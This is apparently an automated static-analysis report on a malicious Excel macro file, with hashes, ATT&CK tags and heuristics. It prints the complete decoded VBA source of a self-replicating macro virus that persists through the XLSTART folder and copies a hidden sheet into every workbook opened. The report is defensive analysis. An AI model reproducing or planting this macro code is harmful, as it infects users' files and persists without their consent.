Malicious Office (OLE) / .EXE — malware analysis report

Static analysis result for SHA-256 60b10c069b1d44f5…

MALICIOUS

Office (OLE) / .EXE

37.0 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2026-05-10
MD5: 43e4989fcf65e1d678c9acfaabf973d7 SHA-1: e26e8483cd5d63e863aba16519cf8abc8cd5dc96 SHA-256: 60b10c069b1d44f551194418cb3006816f6fd9d5bf7339fb00f70bbb49dcad20
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros. The `auto_open` subroutine sets an `OnSheetActivate` hook to execute `virus_sample`. This subroutine copies the current workbook into the Excel startup folder as 'VIRUS.XLS', establishing persistence. The VBA code also attempts to infect other workbooks by copying a sheet named 'virus' into them.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
                ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "virus_sample"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2748 bytes
SHA-256: d069bac6a567d2a6ff1ca0ccfe5197de8428a5ba971c6b6845145d81b317f1c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "virus"

'
' virus sample ƒ}ƒNƒ�
' ϸۋL˜^“ú : 1997/9/10  Õ°»Þ°–¼ : ƒVƒXƒeƒ€ƒtƒ@ƒCƒu�iŠ”�j
'
'
Sub auto_open()
Attribute auto_open.VB_Description = "ϸۋL˜^“ú : 1997/9/10  Õ°»Þ°–¼ : ƒVƒXƒeƒ€ƒtƒ@ƒCƒu�iŠ”�j"
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "virus_sample"
    'MsgBox ActiveWorkbook.Name & "!auto_open(�I—¹)"
End Sub

Sub virus_sample()
Attribute virus_sample.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "VIRUS.XLS")
    If m$ = "VIRUS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    virus_flag = p + w * 10
    
    Select Case virus_flag
        Case 10
            'MsgBox ActiveWorkbook.Name & ": Case 10"
            Application.ScreenUpdating = False
            n4$ = ActiveWorkbook.Name
            Sheets("virus").Visible = True
            Sheets("virus").Select
            Sheets("virus").Copy
            With ActiveWorkbook
                .Title = ""
                .Subject = ""
                .Author = ""
                .Keywords = ""
                .Comments = ""
            End With
            newname$ = ActiveWorkbook.Name
            c4$ = CurDir()
            ChDir Application.StartupPath
            ActiveWindow.Visible = False
            Workbooks(newname$).SaveAs _
                Filename:=Application.StartupPath & "/" & "VIRUS.XLS", _
                FileFormat:=xlNormal, _
                Password:="", _
                WriteResPassword:="", _
                ReadOnlyRecommended:=False, _
                CreateBackup:=False
            ChDir c4$
            Workbooks(n4$).Sheets("virus").Visible = False
            Application.OnSheetActivate = ""
            Application.ScreenUpdating = True
            Application.OnSheetActivate = "virus.xls!virus_sample"
        Case 1
            'MsgBox ActiveWorkbook.Name & ": Case 1"
            Application.ScreenUpdating = False
            n4$ = ActiveWorkbook.Name
            p4$ = ActiveWorkbook.Path
            s$ = Workbooks(n4$).Sheets(1).Name
            If s$ <> "virus" Then
                Workbooks("VIRUS.XLS").Sheets("virus").Copy before:=Workbooks(n4$).Sheets(1)
                Workbooks(n4$).Sheets("virus").Visible = False
            Else
            End If
            Application.OnSheetActivate = ""
            Application.ScreenUpdating = True
            Application.OnSheetActivate = "virus.xls!virus_sample"
        Case Else
            'MsgBox ActiveWorkbook.Name & ": Case Else"
    End Select
End Sub